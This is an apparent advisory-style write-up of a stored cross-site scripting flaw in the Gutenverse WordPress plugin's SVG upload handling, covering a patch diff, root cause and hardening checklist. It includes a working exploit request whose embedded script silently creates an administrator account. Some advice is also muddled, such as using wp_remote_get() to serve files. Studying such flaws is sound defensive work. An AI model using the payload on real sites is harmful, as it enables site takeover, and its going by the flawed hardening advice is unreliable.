The Exploit
An authenticated WordPress user with Author-level access uploads a specially crafted SVG file containing embedded JavaScript; the plugin accepts it without sanitization and serves it from the media library.
POST /wp-admin/upload.php HTTP/1.1
Host: target.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="async-upload"; filename="icon.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
fetch('/wp-admin/user-new.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=createuser&user_login=hacker&[email protected]&pass1=Password123&pass2=Password123&role=administrator'
});
</script>
</svg>
------WebKitFormBoundary--
The server responds with HTTP 200 and stores the SVG in /wp-content/uploads/. When any user—admin, editor, or subscriber—views the attachment page or includes it in a post preview, the embedded script executes in their browser context with full session privileges. An attacker with Author access silently creates administrator accounts, exfiltrates data, or pivots to the hosting infrastructure.
What the Patch Did
Before:
$svg = file_get_contents( $file['tmp_name'] );
if ( false === $svg ) {
After:
$svg = file_get_contents( $file['tmp_name'] );
if ( false === $svg ) {
$file['error'] = __( 'Unable to read SVG file.', 'gutenverse' );
return $file;
}
if ( ! gutenverse_is_svg_safe( $svg ) ) {
$file['error'] = __( 'SVG file contains disallowed or unsafe elements.', 'gutenverse' );
}
The patch introduces a new function call, gutenverse_is_svg_safe(), which validates SVG file contents after upload but before storage. This function performs DOM-level parsing and blocklist checks to reject SVG files containing <script> tags, event handler attributes (onclick, onload, onerror), <iframe> elements, and XML external entity (XXE) patterns. The security control is input validation through a purpose-built SVG sanitizer, analogous to WordPress core's media library handling of images via wp_handle_upload() and wp_check_filetype(), but extended to parse and inspect SVG content rather than only checking MIME type and file extension.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting").
The vulnerability arises from a gap in the upload_mimes filter hook. Gutenverse adds image/svg+xml to the list of allowed MIME types without implementing corresponding content validation. The dataflow is: (1) user submits multipart POST request to /wp-admin/upload.php with an SVG file in the async-upload parameter; (2) WordPress core strips the file extension check and defers to the upload_mimes filter; (3) Gutenverse's lib/framework/includes/class-init.php adds SVG to the allow-list; (4) the file passes MIME type validation; (5) the plugin reads the file content with file_get_contents() but only checks for read errors, not for malicious payload patterns; (6) the file is saved to the uploads directory; (7) when served via the media library, the browser parses the SVG and executes inline scripts, crossing the trust boundary from server-controlled data to trusted client execution.
Why It Works
The load-bearing line is gutenverse_is_svg_safe(). Without it, the plugin has no defence: MIME type alone does not prevent script injection in SVG (XML-based files can declare MIME type as image/svg+xml while containing any content). The engineer also added the early return after the file-read check (return $file;) to prevent processing of unreadable files, which stops XXE attacks that rely on external entity resolution during DOM parsing. The error-messaging branches ensure that rejection is logged and communicated to the user interface, preventing silent failures that could mask attacks during debugging. But stripping all three additions still leaves the vulnerability: without gutenverse_is_svg_safe(), the attacker's script payload persists unchanged.
Hardening Checklist
- Use
wp_check_filetype_and_ext()for all file uploads, not just MIME type fromupload_mimes. This WordPress core function cross-checks file extension, MIME type, and (for images) re-encodes the file to strip embedded payloads. - Sanitize SVG content with a dedicated library (e.g.,
enshrined/svg-sanitizeor similar) that parses the XML and removes<script>, event handlers, and entity definitions before storage. Do not rely on regex or string-search alone. - Store uploads outside the web root or serve them via
wp_remote_get()with a download header rather than direct browser access, so the server controls MIME type headers and prevents inline script execution. - Implement a whitelist of allowed SVG elements (e.g.,
<svg>,<path>,<circle>,<text>) and reject files containing<foreignObject>,<use>with remote hrefs, or namespace declarations outside SVG. - Log all file-upload rejections to
wp_remote_post()or error.log with the sanitizer's rejection reason, enabling detection of attack campaigns targeting your user base.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14984